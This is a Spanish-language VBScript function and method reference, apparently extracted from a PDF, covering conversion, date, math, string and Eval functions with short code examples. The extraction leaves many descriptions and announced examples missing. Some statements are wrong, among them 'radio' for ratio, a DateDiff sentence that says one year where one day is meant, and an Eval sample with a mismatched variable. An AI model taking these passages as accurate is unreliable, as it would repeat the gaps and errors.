LoadPicture (Función) Devuelve un objeto de imagen. Sólo disponible en plataformas de 32 bits.
Log (Función) Devuelve el logaritmo natural de un número.
LTrim (Función) Devuelve una copia de una cadena sin espacios iniciales.
Mid (Función) Devuelve un número especificado de caracteres de una cadena.
Minute (Función) Devuelve un número entero entre 0 y 59, ambos inclusive, que representa el minuto de la
hora.
Month (Función) Devuelve un número entero entre 1 y 12, ambos inclusive, que representa el mes del año.
MonthName (Función) Devuelve una cadena que indica el mes especificado.
MsgBox (Función) Muestra un mensaje en un cuadro de diálogo, espera a que el usuario escriba texto o haga
clic en un botón y devuelve un valor que indica el botón en el que hizo clic el usuario.
Now (Función) Devuelve la fecha y hora actual según los valores de fecha y hora de sistema del equipo.
Oct (Función) Devuelve una cadena que representa el valor octal de un número.
Replace (Función) Devuelve una cadena en la que se reemplazó una subcadena especificada con otra
subcadena un número especificado de veces.
RGB (Función) Devuelve un número entero que representa un valor de color RGB.
Right (Función) Devuelve un número de caracteres especificado del lado derecho de una cadena.
Rnd (Función) Devuelve un número aleatorio.
Round (Función) Devuelve un número redondeado a un número especificado de lugares decimales.
RTrim (Función) Devuelve una copia de una cadena sin espacios finales.
ScriptEngine (Función) Devuelve una cadena que representa el lenguaje de secuencias de comandos en uso.
ScriptEngineBuildVersion (Función) Devuelve el número de versión de la compilación del motor de secuencias de comandos
en uso.
ScriptEngineMajorVersion (Función) Devuelve el número de la versión principal del motor de secuencias de comandos en uso.
ScriptEngineMinorVersion (Función) Devuelve el número de la versión secundaria del motor de secuencias de comandos en
uso.
Second (Función) Devuelve un número entero entre 0 y 59, ambos inclusive, que representa el segundo de
un minuto.
Sgn (Función) Devuelve un número entero que indica el signo de un número.
Sin (Función) Devuelve el seno de un ángulo.
Space (Función) Devuelve una cadena compuesta por el número especificado de espacios.
Split (Función) Devuelve una matriz unidimensional con base cero que contiene un número especificado
de subcadenas.
Sqr (Función) Devuelve la raíz cuadrada de un número.
StrComp (Función) Devuelve un valor que indica el resultado de una comparación de cadenas.
String (Función) Devuelve una cadena de caracteres repetidos de la longitud especificada.
StrReverse (Función) Devuelve una cadena en la que se invirtió el orden de los caracteres de una cadena
especificada.
Tan (Función) Devuelve la tangente de un ángulo.
Time (Función) Devuelve una Variant del subtipo Date que indica la hora actual del sistema.
By KarlosVid(ÊÇ) www.idat.byethost14.com 10
Timer (Función) Devuelve el número de segundos que transcurrieron desde las 12:00 a.m. (medianoche).
TimeSerial (Función) Devuelve una Variant del subtipo Date que contiene la hora para una hora, minuto y
segundo específicos.
TimeValue (Función) Devuelve una Variant del subtipo Date que contiene la hora.
Trim (Función) Devuelve una copia de una cadena sin espacios iniciales o finales.
TypeName (Función) Devuelve una cadena que proporciona información de subtipos Variant acerca de una
variable.
UBound (Función) Devuelve el mayor subíndice disponible para la dimensión indicada de una matriz.
UCase (Función) Devuelve una cadena convertida a mayúsculas.
VarType (Función) Devuelve un valor que indica el subtipo de una variable.
Weekday (Función) Devuelve un número entero que representa el día de la semana.
WeekdayName (Función) Devuelve una cadena que indica el día de la semana especificado.
Year (Función) Devuelve un número entero que representa el año.
Clear (Método) Borra todos los valores de propiedad del objeto Err.
Execute (Método) Ejecuta una búsqueda de expresión regular en una cadena especificada.
Raise (Método) Genera un error en tiempo de ejecución.
Replace (Método) Reemplaza el texto encontrado en una búsqueda de expresión regular.
Test (Método) Ejecuta una búsqueda de expresión regular en una cadena especificada.
By KarlosVid(ÊÇ) www.idat.byethost14.com 11
numérica.
Xor (Operador) Realiza una exclusión lógica de dos expresiones.
Description (Propiedad) Devuelve o establece una cadena descriptiva asociada con un error.
FirstIndex (Propiedad) Devuelve la posición en una cadena de búsqueda donde ocurre una coincidencia.
Global (Propiedad) Establece o devuelve un valor booleano.
HelpContext (Propiedad) Establece o devuelve un Id. de contexto para un tema en un archivo de Ayuda.
HelpFile (Propiedad) Establece o devuelve una ruta completa a un archivo de Ayuda
IgnoreCase (Propiedad) Establece o devuelve un valor booleano que indica si una búsqueda de patrón distingue
las mayúsculas de las minúsculas.
Length (Propiedad) Devuelve la longitud de una coincidencia encontrada en una cadena de búsqueda.
Number (Propiedad) Devuelve o establece un valor numérico que especifica un error.
Pattern (Propiedad) Establece o devuelve el patrón de expresión regular que se busca.
Source (Propiedad) Devuelve o establece el nombre del objeto o aplicación que generó originalmente el
error.
Value (Propiedad) Devuelve el valor o texto de una coincidencia encontrada en una cadena de búsqueda.
By KarlosVid(ÊÇ) www.idat.byethost14.com 12
While...Wend (Instrucción) Ejecuta una serie de instrucciones mientras una condición dada sea True.
With (Instrucción) Ejecuta una serie de instrucciones en un objeto único.
FUNCIONES
Función Abs
Descripción
Sintaxis
Abs(número)
El argumento número puede ser cualquier expresión numérica válida. Si número contiene Null, se
devuelve Null ; si es un valor no iniciado, se devuelve cero.
Comentarios
El valor absoluto de un número es su magnitud sin signo. Por ejemplo, Abs(-1) y Abs(1) devuelven 1.
El siguiente ejemplo usa la función Abs para compute the absolute value of a number:
Dim MiNumero
MiNumero = Abs(50.3) ' Devuelve 50.3.
MiNumero = Abs(-50.3) ' Devuelve 50.3.
Función Array
Descripción
Sintaxis
Array(listadeargumentos)
El argumento requerido listadeargumentos es una lista de valores separados por comas, que se asignan a
los elementos de una matriz contenida en el objeto Variant. Si no se especifica ningún argumento, se
crea una matriz de longitud cero.
Comentarios
La notación usada para hacer referencia a un elemento de una matriz, consta del nombre de la variable
seguido de paréntesis que contienen un número de índice que indica el elemento deseado. En el siguiente
ejemplo, la primera instrucción crea una variable llamada A. La segunda instrucción asigna una matriz a
la variable A. La última instrucción asigna el valor contenido en la segunda matriz a otra variable.
Dim A
A = Array(10,20,30)
By KarlosVid(ÊÇ) www.idat.byethost14.com 13
B = A(2) ' B es ahora 30.
Nota Una variable que no está declarada como matriz puede contener una matriz. Aunque una variable
Variant que contiene una matriz es, conceptualmente, diferente a una variable de matriz que contiene
elementos Variant, el acceso a los elementos de la matriz es igual.
Función Asc
Descripción
Devuelve el código de carácter ANSI que corresponde a la primera letra de una cadena.
Sintaxis
Asc(cadena)
El argumento cadena es cualquier expresión de cadena válida. Si cadena no contiene ningún carácter, se
produce un error en tiempo de ejecución.
Comentarios
En el ejemplo siguiente, Asc devuelve el código de carácter ANSI de la primera letra de cada cadena:
Dim MiNumero
MiNumero = Asc("A") ' Devuelve 65.
MiNumero = Asc("a") ' Devuelve 97.
MiNumero = Asc("Azúcar") ' Devuelve 65.
Nota La función AscB se usa con los datos de bytes contenidos en una cadena. En lugar de devolver el
código de carácter para el primer carácter, AscB devuelve el primer byte. AscW se proporciona para
plataformas de 32 bits que usan caracteres Unicode. Esta función devuelve el código de carácter Unicode,
evitando así la conversión de Unicode a ANSI.
Función Atn
Descripción
Sintaxis
Atn(número)
Comentarios
La función Atn recibe el radio de dos lados de un triángulo recto (número) y devuelve el ángulo
correspondiente en radianes. El radio es la longitud del lado opuesto al ángulo, dividido por la longitud del
lado adyacente al ángulo. El intervalo del resultado varía entre -pi/2 y pi/2 radianes.
Para convertir grados en radianes, multiplique los grados por pi/180. Para convertir radianes en grados,
multiplique los radianes por 180/pi.
Dim pi
pi = 4 * Atn(1) ' Calcula el valor de pi.
By KarlosVid(ÊÇ) www.idat.byethost14.com 14
Nota Atn es la función trigonométrica inversa de Tan, que recibe un ángulo como argumento y devuelve
el radio (proporción) de dos lados de un triángulo recto. No confunda Atn con la cotangente, que es el
inverso simple de una tangente (1/tangente).
Función CBool
Descripción
Sintaxis
CBool(expresión)
Comentarios
El siguiente ejemplo usa la función CBool para convertir una expresión en Boolean. Si la expresión se
evalúa como un valor distinto de cero, CBool devuelve True; de lo contrario, devuelve False.
Dim A, B, Comprobacion
A = 5: B = 5 ' Inicia variables.
Comprobacion = CBool(A = B) ' Comprobacion contiene True.
Función CByte
Descripción
Sintaxis
CByte(expresión)
Comentarios
En general, puede documentar su código con las funciones de conversión de subtipos para mostrar que el
resultado de alguna operación se debe expresar como un tipo de datos particular, en lugar del tipo de
datos predeterminado. Por ejemplo, use CByte para forzar aritmética de tipo byte en casos en los que
normalmente se usaría aritmética de moneda, precisión simple, precisión doble o entero.
Use la función CByte para proporcionar conversiones que se adapten a los formatos internacionales desde
cualquier tipo de datos al subtipo Byte. Por ejemplo, distintos separadores decimales se reconocen
correctamente según la configuración regional de su sistema, al igual que los distintos separadores de
unidades de mil.
By KarlosVid(ÊÇ) www.idat.byethost14.com 15
Si expresión está fuera del intervalo aceptable para el subtipo Byte, se produce un error. El siguiente
ejemplo usa la función CByte para convertir una expresión en byte:
Función CCur
Descripción
Sintaxis
CCur(expresión)
Comentarios
En general, puede documentar su código con las funciones de conversión de subtipos para mostrar que el
resultado de alguna operación se debe expresar como un tipo de datos particular, en lugar del tipo de
datos predeterminado. Por ejemplo, use CCur para forzar aritmética de moneda en casos en los que
normalmente se usaría aritmética entera.
Debe usar la función CCur para proporcionar conversiones internacionales estándar desde cualquier tipo
de datos al subtipo Currency. Por ejemplo, distintos separadores de decimales o de miles se reconocen
correctamente según la configuración regional de su sistema.
El siguiente ejemplo usa la función CCur para convertir una expresión en tipo de datos Currency:
Función CDate
Descripción
Sintaxis
CDate(fecha)
Comentarios
Use la función IsDate para determinar si se puede convertir fecha en una fecha u hora. CDate reconoce
literales de fecha y literales de hora, así como algunos números que se encuentran dentro del rango de
fechas aceptable. Al convertir un número a fecha, la parte entera del número se convierte en una fecha.
Cualquier parte fraccionaria del número se convierte en una hora del día, a partir de medianoche.
By KarlosVid(ÊÇ) www.idat.byethost14.com 16
CDate reconoce los formatos de fecha según la configuración regional del sistema. No se puede
determinar el orden correcto de día, mes y año si éstos se proporcionan en un formato que no coincida
con los valores de configuración reconocidos. Además, no se reconoce un formato de fecha largo si
también contiene la cadena día-de-la-semana.
En el siguiente ejemplo se usa la función CDate para convertir una cadena en una fecha. En general, no
se recomienda establecer fechas y horas como cadenas mediante programación (como se muestra en
este ejemplo). En su lugar, use literales de fecha y hora, como #10/19/1962# o #4:45:23 PM#.
Función CDbl
Descripción
Sintaxis
CDbl(expresión)
Comentarios
En general, puede documentar su código con las funciones de conversión de subtipos para mostrar que el
resultado de alguna operación se debe expresar como un tipo de datos particular, en lugar del tipo de
datos predeterminado. Por ejemplo, use CDbl o CSng para forzar aritmética de doble precisión o simple
precisión en casos en los que normalmente se usaría aritmética de moneda o de entero.
Use la función CDbl para proporcionar conversiones internacionales estándar desde cualquier tipo de
datos al subtipo Double. Por ejemplo, distintos separadores de decimales y de miles se reconocen
correctamente según la configuración regional de su sistema.
Este ejemplo usa la función CDbl para convertir una expresión en Double.
Función Chr
Descripción
Sintaxis
Chr(códigodecarácter)
Comentarios
By KarlosVid(ÊÇ) www.idat.byethost14.com 17
Los números entre 0 y 31 son iguales a los códigos ASCII estándar, no imprimibles. Por ejemplo, Chr(10)
devuelve un carácter de avance de línea.
El siguiente ejemplo usa la función Chr para devolver el carácter asociado al código de carácter
especificado:
Dim MiCaracter
MiCaracter = Chr(65) ' Devuelve A.
MiCaracter = Chr(97) ' Devuelve a.
MiCaracter = Chr(62) ' Devuelve >.
MiCaracter = Chr(37) ' Devuelve %.
Nota La función ChrB se usa con los datos de byte contenidos en una cadena. En lugar de devolver un
carácter, que puede ser de uno o dos bytes, ChrB siempre devuelve un byte simple. ChrW se
proporciona para plataformas de 32 bits que usan caracteres Unicode. Su argumento es un código de
carácter Unicode, que evita que la conversión des ANSI a Unicode.
Función CInt
Descripción
Sintaxis
CInt(expresión)
Comentarios
En general, puede documentar su código con las funciones de conversión de subtipos para mostrar que el
resultado de alguna operación se debería expresar como un tipo de datos particular, en lugar del tipo de
datos predeterminado. Por ejemplo, use CInt o CLng para forzar aritmética de enteros en casos en los
que normalmente se usaría aritmética de moneda, precisión simple o precisión doble.
Use la función CInt para proporcionar conversiones internacionales estándar desde cualquier tipo de
datos al subtipo Integer. Por ejemplo, distintos separadores de decimales y de miles se reconocen
correctamente según la configuración regional de su sistema.
Si expresión está fuera del intervalo aceptable para el subtipo Integer, se produce un error.
Nota CInt es distinta a las funciones Fix y de Int, que truncan, en lugar de redondear, la parte
fraccionaria de un número. Cuando la parte fraccionaria es exactamente igual a 0,5, la función CInt
siempre redondea el número al siguiente número par. Por ejemplo, 0,5 se redondea a 0 y 1,5 se
redondea a 2.
Función CLng
Descripción
By KarlosVid(ÊÇ) www.idat.byethost14.com 18
Sintaxis
CLng(expresión)
Comentarios
En general, puede documentar su código con las funciones de conversión de subtipos para mostrar que el
resultado de alguna operación se debería expresar como un tipo de datos particular, en lugar del tipo de
datos predeterminado. Por ejemplo, use CInt o CLng para forzar aritmética de enteros en casos en los
que, normalmente, se usaría aritmética de precisión simple o precisión doble.
Use la función CLng para proporcionar conversiones internacionales estándar desde cualquier tipo de
datos al subtipo Long. Por ejemplo, distintos separadores decimales o de miles se reconoce
correctamente según la configuración regional de su sistema.
Si expresión está fuera del intervalo aceptable para el subtipo Long, se produce un error.
Nota CInt es distinta a las funciones Fix y de Int, que truncan, en lugar de redondear, la parte
fraccionaria de un número. Cuando la parte fraccionaria es exactamente igual a 0,5, la función CInt
siempre redondea el número al siguiente número par. Por ejemplo, 0,5 se redondea a 0 y 1,5 se
redondea a 2.
Función Cos
Descripción
Sintaxis
Cos(número)
El argumento número puede ser cualquier expresión numérica válida que expresa un ángulo en radianes.
Comentarios
La función Cos recibe un ángulo y devuelve el radio de dos lados de un triángulo rectángulo. El radio es la
longitud del lado adyacente al ángulo dividido por la longitud de la hipotenusa. El resultado varía entre -1
y 1.
Para convertir grados en radianes, multiplique los grados por pi/180. Para convertir radianes en grados,
multiplique los radianes por 180/pi.
By KarlosVid(ÊÇ) www.idat.byethost14.com 19
Función CreateObject
Descripción
Sintaxis
CreateObject(nombreServidor.nombreTipo [, ubicación])
Parte Descripción
Comentarios
Los servidores de automatización proporcionan, al menos, un tipo de objeto. Por ejemplo, una aplicación
de proceso de textos puede proporcionar un objeto Application, un objeto Document y un objeto Toolbar.
Para crear un objeto de automatización, asigne el objeto devuelto por CreateObject a una variable de
objeto:
Dim HojaExcel
Set HojaExcel = CreateObject("Excel.Sheet")
Este código inicia la aplicación que crea el objeto (en este caso, una hoja de cálculo de Microsoft Excel).
Una vez creado un objeto, se hace referencia al mismo en el código mediante el uso de la variable de
objeto que definió. Como se muestra en el siguiente ejemplo, se puede tener acceso a las propiedades y
métodos del nuevo objeto mediante la variable de objeto, ExcelSheet y otros objetos de Excel, incluido el
objeto Application y la colección ActiveSheet.Cells.
' Hace visible Excel mediante el objeto Application.
HojaExcel.Application.Visible = True
' Coloca algún texto en la primera celda de la hoja.
HojaExcel.ActiveSheet.Cells(1,1).Value = "Esta es la columna A, fila 1"
' Guarda la hoja.
HojaExcel.SaveAs "C:\DOCS\PRUEBA.XLS"
' Cierra Excel con el método Quit del objeto Application.
HojaExcel.Application.Quit
' Libera la variable de objeto.
Set HojaExcel = Nothing
Sólo se puede crear un objeto en un servidor remoto cuando la seguridad de Internet está desactivada.
Puede crear un objeto en un equipo en red remoto pasando el nombre del equipo al argumento
nombreServidor de CreateObject. Ese nombre es el mismo que la parte de nombre del equipo de un
nombre de recurso compartido. Para un recurso compartido en red llamado "\\miservidor\publico", el
nombreServidor es "miservidor". Además, puede especificar nombreServidor utilizando el formato DNS o
una dirección IP.
El código siguiente devuelve el número de la versión de una instancia de Excel que se ejecuta en un
equipo de red remoto llamado "miservidor":
Function GetVersion
Dim XLApp
Set XLApp = CreateObject("Excel.Application", "MiServidor")
GetVersion = XLApp.Version
End Function
By KarlosVid(ÊÇ) www.idat.byethost14.com 20
Ocurre un error si el servidor remoto especificado no existe o no se puede encontrar.
Función CSng
Descripción
Sintaxis
CSng(expresión)
Comentarios
En general, puede documentar su código con las funciones de conversión de tipos de datos para mostrar
que el resultado de algunas operaciones se debería expresar como un tipo de datos particular, en lugar
del tipo de datos predeterminado. Por ejemplo, use CDbl o CSng para forzar aritmética de precisión
doble o precisión simple en casos en los que, normalmente, se usaría aritmética de moneda o de enteros.
Use la función CSng para propocionar conversiones internacionales estándar desde cualquier tipo de
datos al subtipo Single. Por ejemplo, distintos separadores decimales o de miles se reconocen
correctamente según la configuración local de su sistema.
Si expresión está fuera del intervalo aceptable para el subtipo Single, se produce un error.
Dim MiDoble1, MiDoble2, MiSimple1, MiSimple2 ' MiDoble1, MiDoble2 son de tipo Double.
MiDoble1 = 75.3421115: MiDoble2 = 75.3421555
MiSimple1 = CSng(MiDoble1) ' MiSimple1 contiene 75.34211.
MiSimple2 = CSng(MiDoble2) ' MiSimple2 contiene 75.34216.
Función CStr
Descripción
Sintaxis
CStr(expresión)
Comentarios
En general, puede documentar su código con funciones de conversión de tipos de datos para mostrar que
el resultado de alguna operación se debería expresar como un tipo de datos particular, en lugar del tipo
de datos predeterminado. Por ejemplo, use CStr para forzar que el resultado se exprese como String.
Debería usar la función CStr en lugar de Str para proporcionar conversiones internacionales estándar
desde cualquier otro tipo de datos al subtipo String. Por ejemplo, distintos separadores decimales y de
miles se reconocen correctamente según la configuración regional de su sistema.
By KarlosVid(ÊÇ) www.idat.byethost14.com 21
Los datos almacenados en expresión determinan el valor devuelto de acuerdo con la siguiente tabla:
Date Un valor de tipo String que contiene una fecha en formato de fecha corta de su sistema.
Error Un valor de tipo String que contiene la palabra Error seguido por el número de error.
El siguiente ejemplo usa la función CStr para convertir un valor numérico en String:
Función Date
Descripción
Sintaxis
Date
Comentarios
El siguiente ejemplo usa la función Date para devolver la fecha actual del sistema:
Dim MiFecha
MiFecha = Date ' MiFecha contiene la fecha actual del sistema.
Función DateAdd
Descripción
Sintaxis
Parte Descripción
intervalo Requerido. Expresión de cadena que es el intervalo que desea agregar. Consulte la sección Valores para
saber cuáles son los valores permitidos.
número Requerido. Expresión numérica que es el número de intervalo que desea agregar. La expresión numérica
puede ser positiva, para fechas futuras, o negativas, para fechas pasadas.
By KarlosVid(ÊÇ) www.idat.byethost14.com 22
fecha Requerido. Variant o literal que representa la fecha a la que se agrega intervalo.
Valores
yyyy Año
q Trimestre
m Mes
d Día
w Día de la semana
h Hora
n Minuto
s Segundo
Comentarios
Puede usar la función DateAdd para sumar o restar un intervalo de tiempo especificado a una fecha. Por
ejemplo, puede usar DateAdd para calcular una fecha 30 días a partir de hoy o una hora 45 minutos
desde ahora. Para agregar días a fecha, puede usar Día del año ("y"), Día ("d") o Día de la semana ("w").
La función DateAdd no devolverá una fecha no válida. El siguiente ejemplo suma un mes al 31 de enero:
Si el número no es un valor de tipo Long, se redondea al número entero más cercano antes de evaluarlo.
Función DateDiff
Descripción
Sintaxis
Parte Descripción
intervalo Requerido. Expresión de cadena que es el intervalo que desea usar para calcular las diferencias
entre fecha1 y fecha2. Consulte la sección Valores para saber cuáles son los valores
permitidos.
By KarlosVid(ÊÇ) www.idat.byethost14.com 23
fecha1, fecha2 Requerido. Expresiones de fecha. Dos fechas que desea usar en el cálculo.
primerasemanaaño Opcional. Constante que especifica la primera semana del año. Si no se especifica, se asume
que la primera semana es la semana del 1 de enero. Consulte la sección Valores para saber
cuáles son los valores permitidos.
Valores
yyyy Año
q Trimestre
m Mes
d Día
w Día de la semana
h Hora
n Minuto
s Segundos
vbMonday 2 Lunes
vbTuesday 3 Martes
vbWednesday 4 Miércoles
vbThursday 5 Jueves
vbFriday 6 Viernes
vbSaturday 7 Sábado
vbFirstFourDays 2 Comienza con la semana que tiene al menos cuatro días en el nuevo año.
Comentarios
By KarlosVid(ÊÇ) www.idat.byethost14.com 24
Puede usar la función DateDiff para determinar cuántos intervalos de tiempo especificados existen entre
dos fecha. Por ejemplo, puede usar DateDiff para calcular el número de días que existen entre dos
fechas o el número de semanas que existen entre la fecha actual y el final del año.
Para calcular el número de días que existen entre fecha1 y fecha2, puede usar Día del año ("y") o Día
("d"). Cuando intervaloes igual a Día de la semana ("w"), DateDiff devuelve el número de semanas que
existen entre dos fechas. Si fecha1 es lunes, DateDiff cuenta cuántos lunes hay hasta fecha2. Cuenta
fecha2 pero no fecha1. Sin embargo, si intervalo es Semana ("ww"), la función DateDiff devuelve el
número de semanas de calendario que existen entre las dos fechas. Cuenta cuántos domingos hay entre
fecha1 y fecha2. DateDiff cuenta fecha2 si es domingo; pero no cuenta fecha1, aunque sea domingo.
Si fecha1 hace referencia a un punto posterior en el tiempo que fecha2, la función DateDiff devuelve un
número negativo.
El argumento primerdíasemana afecta a los cálculos que usan los símbolos de intervalo "w" y "ww".
Si fecha1 o fecha2 es un literal de fecha, el año especificado se convierte en una parte permanente de la
fecha. Sin embargo, si fecha1 o fecha2 se encierra entre comillas (" ") y omite el año, el año actual se
inserta en su código cada vez que se evalúa la expresión fecha1 o fecha2. Esto hace posible escribir
código que se puede usar en distintos años.
Al comparar el 31 de diciembre con el 1 de enero del año inmediatamente posterior, DateDiff para Año
("yyyy") devuelve 1 aunque sólo haya transcurrido un año.
El siguiente ejemplo usa la función DateDiff para mostrar el número de días que existen entre una fecha
especificada y la fecha actual:
Function DiferenciaEntreFechas(laFecha)
DiferenciaEntreFechas = "Días desde hoy: " & DateDiff("d", Now, laFecha)
End Function
Función DatePart
Descripción
Sintaxis
Parte Descripción
intervalo Requerido. Expresión de cadena que es el intervalo de tiempo que desea devolver. Consulte la
sección Valores para saber cuáles son los valores permitidos.
primerasemanaaño Opcional. Constante que especifica la primera semana del año. Si no se especifica, se asume
que la primera semana es la semana del 1 de enero. Consulte la sección Valores para saber
cuáles son los valores permitidos.
Valores
By KarlosVid(ÊÇ) www.idat.byethost14.com 25
Valor Descripción
yyyy Año
q Trimestre
m Mes
d Día
w Día de la semana
h Hora
n Minuto
s Segundo
vbMonday 2 Lunes
vbTuesday 3 Martes
vbWednesday 4 Miércoles
vbThursday 5 Jueves
vbFriday 6 Viernes
vbSaturday 7 Sábado
vbFirstFourDays 2 Comienza con la semana que tiene al menos cuatro días en el nuevo año.
Comentarios
Puede usar la función DatePart para evaluar una fecha y devolver un intervalo de tiempo específico. Por
ejemplo, puede usar DatePart para calcular el día de la semana o la hora actual.
El argumento primerdíasemana afecta a los cálculos que usan los símbolos de intervalo "w" y "ww".
Si fecha es un literal de fecha, el año especificado se convierte en una parte permanente de la fecha. Sin
embargi, si fecha está encerrada entre comillas (" ") y omite el año, se inserta el año actual en el código
cada vez que se evalúa la expresión fecha. Esto permite escribir código que se puede usar en distintos
años.
By KarlosVid(ÊÇ) www.idat.byethost14.com 26
Este ejemplo recibe una fecha y, con la función DatePart, muestra el trimestre del año en el que se
produce.
Function ObtenerTrimestre(laFecha)
ObtenerTrimestre = DatePart("q", laFecha)
End Function
Función DateSerial
Descripción
Devuelve un valor Variant de subtipo Date para un año, mes y día específicos.
Sintaxis
Parte Descripción
Comentarios
Para especificar una fecha, como el 31 de diciembre de 1991, el intervalo de números para cada
argumento de DateSerial debe estar dentro del intervalo aceptado para la unidad; es decir, entre 1 y 31
para los días y entre 1 y 12 para los meses. Sin embargo, también puede especificar fechas relativas para
cada argumento mediante cualquier expresión numérica que representa alguna cantidad de días, meses o
años anteriores o posteriores a una fecha determinada.
El siguiente ejemplo usa expresiones numéricas en lugar de números de fecha absolutos. Aquí, la función
DateSerial devuelve una fecha que es el día anterior al primer día (1 – 1) de dos meses antes de agosto
(8 – 2) de 10 años anteriores a 1990 (1990 – 10). En otras palabras, 31 de mayo de 1980.
Cuando cualquier argumento supera el intervalo aceptado para ese argumento, se incrementa a la
siguiente unidad mayor según sea adecuado. Por ejemplo, si especifica 35 días, se evalúa como un mes y
varios días, que dependen de la fecha del año en la que se aplique. Sin embargo, si cualquier argumento
simple está fuera del intervalo comprendido entre -32,768 y 32,767, o si la fecha especificada por los tres
argumentos, directamente o a través de la expresión, no está dentro del intervalo aceptable de fechas, se
produce un error.
Función DateValue
By KarlosVid(ÊÇ) www.idat.byethost14.com 27
Descripción
Sintaxis
DateValue(fecha)
Normalmente, el argumento fecha es una expresión de cadena que representa una fecha comprendida
entre el 1 de enero del año 100 hasta el 31 de diciembre del año 9999. Sin embargo, fecha también
puede ser cualquier expresión que pueda representar una fecha, una hora o ambos, en ese intervalo.
Comentarios
Si el argumento fecha incluye información de hora, DateValue no la devuelve. Sin embargo, si fecha
incluye información no válida de hora (como "89:98"), se produce un error.
Si fecha es una cadena que sólo incluye números separados por separadores de fecha válidos, DateValue
reconoce el orden para el día, mes y año según el formato de fecha corta que especificó para su sistema.
DateValue también reconoce fechas no ambiguas que contiene nombre de meses, en formato largo o
abreviado. Por ejemplo, además de reconocer 30/12/1991 y 30/12/91, DateValue también reconoce 30
de diciembre de 1991 y 30 dic de 1991.
Si se omite la parte del año de fecha, DateValue usa el año actual de la fecha del sistema de su equipo.
El siguiente ejemplo usa la función DateValue para convertir una cadena en una fecha. También puede
usar literales de fecha para asignar una fecha directamente a una variable Variant, por ejemplo, MiFecha
= #9/11/63#.
Dim MiFecha
MiFecha = DateValue("11 de septiembre de 1963") ' Devuelve una fecha.
Función Day
Descripción
Devuelve un número entero entre 1 y 31, ambos incluidos, que representa el día del mes.
Sintaxis
Day(fecha)
El argumento fecha es cualquier expresión que puede representar una fecha. Si fecha contiene Null, se
devuelve Null.
El siguiente ejemplo usa la función Day para obtener el día del mes a partir de una fecha especificada:
Dim MiDia
MiDia = Day("19 de octubre de 1962") ' MiDia contiene 19.
Función Eval
Descripción
By KarlosVid(ÊÇ) www.idat.byethost14.com 28
Sintaxis
[resultado = ]Eval(expresión)
Parte Descripción
resultado Opcional. Variable a la que se asigna el valor devuelto. Si no se especifica el resultado, considere si
utilizar la instrucción Execute en su lugar.
expresión Necesario. Una cadena que contenga cualquier expresión permitida de VBScript.
Observaciones
Nota En Microsoft® JScript™, no hay confusión entre la asignación y la comparación porque el operador
assignment (=) es diferente del operador de comparación (==).
Sub AdivinaNúmero
Dim Guess, RndNum
RndNum = Int((100) * Rnd(1) + 1)
Guess = CInt(InputBox("Escriba su estimación aproximada:",,0))
Do
If Eval("Guess = RndNum") Then
MsgBox "¡Enhorabuena! ¡Lo adivinó!"
Exit Sub
Else
Adivina = CInt(InputBox("¡Lo siento! Inténtelo de nuevo.",,0))
End If
Loop Until Guess = 0
End Sub
Función Exp
Descripción
Sintaxis
Exp(número)
Comentarios
Nota La función Exp complementa la acción de la función Log y a veces se le llama antilogaritmo
El siguiente ejemplo usa la función Exp para devolver e elevado a una potencia:
By KarlosVid(ÊÇ) www.idat.byethost14.com 29
Dim MiAngulo, MiSenoH ' Define el ángulo en radianes.
MiAngulo = 1.3 ' Calcula el seno hiperbólico.
MiSenoH = (Exp(MiAngulo) - Exp(-1 * MiAngulo)) / 2
Función Filter
Descripción
Devuelve una matriz basada en cero que contiene un subconjunto de una matriz de cadena basada en un
criterio de filtro especificado.
Sintaxis
Parte Descripción
Incluir Opcional. Valor de tipo Boolean que indica si se deben devolver subcadenas que incluyen o
excluyen Valor. Si Incluir es True, Filter devuelve el subconjunto de la matriz que contiene
Valor como subcadena. Si Incluires False, Filter devuelve el subconjunto de la matriz que no
contiene Valor como subcadena.
Comparación Opcional. Valor numérico que indica el tipo de comparación de cadena que se debe usar.
Consulte la sección Valores para saber cuáles son los valores permitidos.
Valores
Comentarios
La matriz devuelta por la función Filter sólo tiene los elementos necesarios para contener el número de
elementos encontrados.
El siguiente ejemplo usa la función Filter para devolver la matriz que contiene el criterio de búsqueda
"Lun":
Dim MiIndice
Dim MiMatriz (3)
MiMatriz(0) = "Domingo"
MiMatriz(1) = "Lunes"
MiMatriz(2) = "Martes"
MiIndice = Filter(MiMatriz, "Lun") ' MiIndice(0) contiene "Lunes"
By KarlosVid(ÊÇ) www.idat.byethost14.com 30
Funciones Int y Fix
Descripción
Sintaxis
Int(número)
Fix(número)
El argumento número puede ser cualquier expresión numérica válida. Si número contiene Null, se
devuelve Null.
Comentarios
Int y Fix quitan la parte fraccional de número y devuelven el valor entero resultante.
La diferencia entre Int y Fix es que si número es negativo, Int devuelve el primer entero negativo menor
o igual a número, mientras que Fix devuelve el primer entero negativo mayor o igual a número. Por
ejemplo, Int convierte -8.4 a -9, y Fix convierte -8.4 a -8.
Fix(número) es equivalente a:
Sgn(número) * Int(Abs(número))
Los siguientes ejemplo muestran cómo devuelven partes enteras de números las funciones Int y Fix:
MiNumero = Int(99.8) ' Devuelve 99.
MiNumero = Fix(99.2) ' Devuelve 99.
MiNumero = Int(-99.8) ' Devuelve -100.
MiNumero = Fix(-99.8) ' Devuelve -99.
MiNumero = Int(-99.2) ' Devuelve -100.
MiNumero = Fix(-99.2) ' Devuelve -99.
Función FormatCurrency
Descripción
Devuelve una expresión con formato como una valor de moneda, que usa el símbolo de moneda definido
en el panel de control del sistema.
Sintaxis
FormatCurrency(Expresión[,NúmDígitosDespuésDeDecimal [,IncluirDígitoInicio
[,UsarParéntesisParaNúmerosNegativos [,GrupoDígitos]]]])
Parte Descripción
By KarlosVid(ÊÇ) www.idat.byethost14.com 31
IncluirDígitoInicio Opcional. Constante de tres estados que indica si se debe mostrar o no un
cero inicial para valores fraccionarios. Consulte la sección Valores para
saber cuáles son los valores permitidos.
Valores
TristateTrue -1 True
TristateFalse 0 False
Comentarios
Cuando se omiten uno o más argumentos opcionales, los valores de los argumentos omitidos los
proporciona la configuración regional del equipo. La posición del signo de moneda relativa al valor de
moneda se determina con la configuración regional del sistema.
El siguiente ejemplo usa la función FormatCurrency para dar formato de moneda a la expresión y
asignarlo a MiMoneda:
Dim MiMoneda
MiMoneda = FormatCurrency(1000) ' MiMoneda contiene $1000.00.
Función FormatDateTime
Descripción
Sintaxis
FormatDateTime(Fecha[, FormatoConNombre])
Parte Descripción
FormatoConNombre Opcional. Valor numérico que indica el formato de fecha y hora usado. Si se omite, se usa
vbGeneralDate.
Valores
By KarlosVid(ÊÇ) www.idat.byethost14.com 32
